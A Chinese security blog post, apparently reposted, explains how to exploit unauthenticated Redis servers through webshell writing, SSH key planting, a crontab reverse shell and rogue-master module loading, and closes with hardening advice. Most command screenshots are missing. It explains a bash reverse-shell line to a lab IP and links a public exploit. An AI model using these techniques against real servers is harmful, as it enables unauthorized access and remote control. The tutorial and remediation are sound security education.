redis未授权访问之利用

admin 2020年10月27日20:00:50评论224 views字数 1860阅读6分12秒阅读模式

文章源自【字节脉搏社区】-字节脉搏实验室

作者-Jadore

扫描下方二维码进入社区

redis未授权访问之利用

redis简介

Remote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

redis未授权访问之利用

redis未授权访问产生原因

Redis 若因配置不当存在未授权访问漏洞,则攻击者可进行恶意利用。当以 root 身份运行时,可以通过root 写入 SSH 公钥文件,直接通过 SSH (默认端口22)登录,从而获取服务器权限。

redis未授权访问之利用

redis利用场景1:webshell写入

条件:有web服务,知道路径,具有增删改查权限

首先使用redis客户端直接无账号登录redis:

redis未授权访问之利用

redis未授权访问之利用

这里假设路径为/home/jadore,可以执行如下命令写入webshell:

redis未授权访问之利用

redis未授权访问之利用redis未授权访问之利用

靶机上可以看到

redis未授权访问之利用

redis未授权访问之利用

edis利用场景2:公私钥免密认证登录SSH

条件:redis以root身份运行

首先我们可以生产一个密钥对,密码为空,命令如下:

redis未授权访问之利用

redis未授权访问之利用

redis未授权访问之利用

将生成的公钥保存到test.txt,命令如下:

redis未授权访问之利用

redis未授权访问之利用

将保存下来的公钥文件写入靶机redis,命令如下:

redis未授权访问之利用

redis未授权访问之利用

登录靶机redis,获取redis备份路径:

redis未授权访问之利用

redis未授权访问之利用

更改备份路径:

redis未授权访问之利用

redis未授权访问之利用

将公钥的名称改为authorized_keys:

redis未授权访问之利用

redis未授权访问之利用

看看是否更改成功:

redis未授权访问之利用

redis未授权访问之利用

进行ssh免密登录:

redis未授权访问之利用

redis未授权访问之利用

结果

redis未授权访问之利用

redis未授权访问之利用

redis利用场景3:反弹shell

通过Linux的计划任务管理crontab来设置计划任务反弹shell

首先建立连接监听

redis未授权访问之利用

redis未授权访问之利用

连接redis反弹shell

redis未授权访问之利用

redis未授权访问之利用

tip:bash一句话命令详解:

bash -i 表示来产生一个bash交互环境

>& 表示将联合符号前面的内容与后面的内容向结合后再重定向给后者

/dev/tcp/192.168.222.132/1234 表示让主机与目标主机产生一个TCP连接

0>&1 将标准的输入与标准的输出内容相结合,然后重定向给前面标准输出的内容

redis未授权访问之利用

redis未授权访问之利用

redis利用场景4:远程代码执行

条件:Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

master/slave模式:主从设备模式,将一个原始任务分解为若干个语义等同的子任务,并由专门的工作者线程来并行执行这些任务,原始任务的结果通过整合各个子任务的处理结果来产生。

redis server支持以下两种命令:

1.明文(使用空格来分割)

如:SET keyname valuen

2、原码

如:*3rn$3rnSETrn$7rnkeynamern$5rnvaluern

其中*3表示参数个数$3表示参数的长度SET表示参数要设置的值

攻击流程:

1、子设备向主设备发起连接请求

2、子设备尝试进行部分或完全同步

3、主设备通过向子设备发送一组命令来保持子设备的更新,以便复制任何更改主设备上数据集的操作。

redis未授权访问之利用

redis未授权访问之利用

EXP:https://github.com/vulhub/redis-rogue-getshell/blob/master/redis-master.py

redis未授权访问之利用

redis未授权访问之利用

redis未授权访问之利用

redis未授权访问之利用

redis未授权访问之利用

redis未授权访问之利用

redis未授权访问之利用redis未授权访问之利用

修复方案

1、在 redis.conf 文件中找到# bind 127.0.0.1,将前面的 # 去掉,然后保存。

redis未授权访问之利用

redis未授权访问之利用

也可以指定访问源 IP 来访问 Redis。

bind 192.168.1.100 10.0.0.1

redis未授权访问之利用

2、通过 iptables 策略,仅允许指定的 IP 来访问 Redis 服务:

iptables -A INPUT -s x.x.x.x -p tcp --dport 6379 -j ACCEPT

redis未授权访问之利用

3、设置访问密码

在 redis.conf 中找到 requirepass 字段,去掉其注释,并在后面填上需要的密码。Redis 客户端也需要使用此密码来访问 Redis 服务。

requirepass 密码

redis未授权访问之利用

4、权限最小化

以较低权限账号运行 Redis 服务,并禁用该账号的登录权限:

useradd -M -s /sbin/nologin [username]

redis未授权访问之利用

5、升级redis到最新版

通知!

公众号招募文章投稿小伙伴啦!只要你有技术有想法要分享给更多的朋友,就可以参与到我们的投稿计划当中哦~感兴趣的朋友公众号首页菜单栏点击【商务合作-我要投稿】即可。期待大家的参与~

redis未授权访问之利用

记得扫码

关注我们

本文始发于微信公众号(字节脉搏实验室):redis未授权访问之利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年10月27日20:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   redis未授权访问之利用http://cn-sec.com/archives/171711.html

发表评论

匿名网友 填写信息